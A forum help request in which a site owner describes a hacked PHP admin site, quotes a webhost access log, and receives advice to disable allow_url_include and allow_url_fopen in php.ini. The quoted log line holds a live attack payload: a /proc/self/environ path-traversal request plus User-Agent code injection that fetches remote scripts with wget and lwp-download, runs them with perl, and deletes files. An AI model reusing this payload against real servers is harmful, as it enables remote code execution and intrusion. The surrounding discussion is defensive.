I have been attacked on a shared host server and they said I should configure my own php.ini file properly.
I have a little PHP/MySQL program with a registering function, a little admin site.
However, someone hacked it up. Any help would be really appreciated with php.ini.
Here is what I got from the webhost provider:
220.127.116.11 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf .txt;wget http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf .txt'); echo \"#j13mb0t\"; ?>"
Because script injection attacks the site code itself, it is able to completely avoid webserver security. Unfortunately, some content management systems (especially older versions of Joomla) are extremely susceptible to this form of attack.
A simple way to remove the ability for attackers to use this method is to add a php.ini file at the top-level of the website with the following contents - be aware though that the website will need testing afterwards to ensure that no legitimate website scripted actions have been affected by the change:
The php.ini directives are:
allow_url_include = "0" allow_url_fopen = "0"